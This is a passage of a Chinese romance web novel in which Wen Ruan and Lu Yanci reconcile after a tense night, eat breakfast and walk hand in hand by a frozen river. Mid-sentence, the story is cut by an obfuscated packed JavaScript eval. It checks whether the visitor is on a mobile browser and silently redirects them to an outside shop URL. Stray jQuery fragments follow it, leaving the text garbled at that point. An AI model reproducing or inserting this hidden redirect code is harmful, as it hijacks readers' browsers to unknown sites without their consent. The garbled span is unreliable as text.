窗外的光从窗帘缝隙里挤进来，在墙上画出一条细长的白线，那道线正好落在陆砚辞的锁骨上。
“我不知道。”她说。
陆砚辞的身体微微震了一下，很轻微的，但坐在床上的她能感觉到那一下震动。
他攥着膝盖的手收紧了，指节泛白，然后慢慢松开。
他低头看着自己的手，像是要从里面看出一个答案来。
“你以前从来不会说不知道。”他说。
“以前你也不会问我这种问题。”
沉默又来了。这次更长，长到她快要睡着。
他的声音又在黑暗里响起来:“那你还愿意试一下吗？”
温阮侧过头看他。
他坐在床边，低着头，肩膀微微塌着。
床头灯的光从侧面打过来，他的侧脸线条硬朗，嘴角向下撇着，眼眶红红的，但没有泪。
她伸手碰了一下他的手指，很轻，像羽毛扫过。
“你把手机关了。”
陆砚辞愣了一下，然后拿出手机，当着她的面，把手机关了机。
屏幕变黑的那一刻，他的手指在关机键上多按了一秒，像是怕自己反悔。
“还有，”她说，“你明天哪里都别去。”
“好。”他说。
第二天早上，温阮醒来的时候，陆砚辞还躺在床上。
他侧着身面朝她，一只胳膊横在两个人之间的被子上，手指微微蜷着。
他的呼吸均匀，睫毛在晨光里投下一小片扇形阴影。温阮看了他几秒，慢慢坐起来，他动了动，但没有醒。
她下楼煮了粥，煎了两个鸡蛋。油锅滋啦响的时候，听到楼上传来脚步声。
陆砚辞穿着一件旧T恤下来了，头发乱着，光脚踩在楼梯上。
他走到厨房门口，靠着门框看了她几秒，没说话。她回头看了他一眼，把煎好的蛋盛进盘子里。
“刷牙了吗？”
“没有。”
“那先去刷牙。”
他转身去了洗手间，传来水龙头打开的声音。等他回来的时候，粥已经盛好了放在桌上，两碗，旁边各放了一个煎蛋。
他坐下来，拿起筷子夹了一口粥，吹了吹送进嘴里。
“烫。”他说。
“刚出锅的当然烫。”
他低头又夹了一口，这次吹了很久才吃。温阮坐在他对面，也慢慢地喝着粥。
两个人面对面坐着，谁都没有说话，只有筷子和碗碰在一起的声音，清脆的，一下一下。
粥喝到一半的时候，他的手机在楼上响了。
他抬头看了一眼楼梯的方向，又低头继续喝粥。手机响了好几声，停了，又响了。他的筷子在碗里搅了一下，没有抬头。
“你上去看看，”温阮说，“万一有急事。”
陆砚辞看了她一眼，放下筷子站起来。他上楼去了，脚步声踩在楼梯上，很快，又很快下来了。他手里握着手机，屏幕亮着，是通话记录的页面。
“谁打的？”温阮问。
“黎薇。”
“什么事？”
“问之前那个项目的进度。”他把手机屏幕朝下放在餐桌上，坐回来继续喝粥，“我跟她说了今天休息，有事找张副总。”
温阮点了点头，把碗里的粥喝完，端着空碗去了厨房。水龙头打开冲碗的时候，她听到他从椅子上站起来的声音，脚步声走到她身后停住了。他伸手从背后抱住了她，下巴搁在她肩膀上。
她手里的碗滑了一下，又稳住了。
“你身上有油烟味。”她说。
“你身上也有。”他说，声音闷在她颈窝里。
温阮把冲好的碗放进沥水架，擦了擦手，转过身。他还抱着她，没有松手，她面对着他，两个人之间的距离很近，近到能数清他下巴上那些新冒出来的胡茬。他低头看着她，眼睛里的血丝淡了一些，眼底那层疲惫还没完全消退，但亮了一些。
他抬起手，用手背蹭了一下她的脸颊，动作很轻。
温阮把自己的手覆在他的手背上，他的手指凉凉的，带着晨间没有回暖的温度。
“今天你想做什么？”他问。
“不知道。”
“那我们出去走走？”
她想了想:“行。”
他换了件外套，她也换了一件。出门的时候风还是凉的，但阳光很好，照在身上有一层薄薄的暖意。
院子里的积雪化了大半，只有墙角还残留着一小堆，灰扑扑的，混着泥土。银杏树的枝丫上挂着一层水珠，阳光照上去亮晶晶的，像挂了一树碎钻。
两个人沿着小区的路慢慢走着。
他的手伸过来，碰了碰她的手指，然**住了。他的掌心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777096|210050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
干燥温热，包着她的手，手指微微收拢。她低头看了一眼，他的手背上有两道淡淡的划痕，不知道什么时候蹭的。
“你手怎么了？”她问。
“昨天在书房搬东西，被纸箱边划的。”
“消毒了吗？”
“忘了。”
她停下脚步，抬头看着他，皱了皱眉:“回去擦点碘伏。”
“回去再说。”他拉着她继续走，没有松手。
他们走到小区后面的河边，河面上结了薄薄的一层冰，阳光照在冰面上，反射出一片刺眼的白。有个人在河对岸遛狗，小狗跑得欢快，绳子牵得老长。温阮看着那条狗，忽然笑了一下。
陆砚辞转头看她:“笑什么？”
“想起以前咱们养的那条流浪狗。”
他的表情变了一下，也笑了，嘴角弯起来，眼角挤出几道细纹:“那条狗后来跑哪去了？”
“不知道，搬走那天它就没回来。”
两个人站在河边，手牵着手，看着那条小狗在对岸撒欢。
风从河面上吹过来，凉凉的，带着冰面融化时的潮湿。他攥着她的手紧了紧，拇指在她的手背上轻轻摩挲着。
他口袋里的手机震了一下，他隔着布料按了一下，没有拿出来看。
两个人沿着河走了很久，直到太阳从云层后面完全露出来，把冰面照得发亮。陆砚辞停在一棵枯柳旁边，松开她的手，把外套拉链拉下来，从里兜摸出一根皮筋。
他递给她的时候，温阮愣了一下。
“哪来的？”
“王婶说你可能用得上，放我兜里好几天了。”他把皮筋放在她掌心里，黑色的，细细的一圈，上面还有一颗透明的小珠子。
温阮把皮筋套在手腕上，没有扎头发。她看着那棵枯柳，柳枝在风里轻轻晃着，每一根都垂得很低，像在够地上的什么东西。
“这棵树，”陆砚辞说，“跟以前咱家楼下那棵有点像。”
温阮抬头看了看，确实有点像。
那时候地下室门口有一棵歪脖子柳树，夏天的傍晚他们坐在树下的石墩上吃西瓜。
他切瓜切得厚薄不一，她嫌弃他，他说能吃就行。西瓜籽吐在地上，第二天长出一棵小苗，被路过的自行车压扁了。
“你记得挺清楚。”她说。
“都记得。”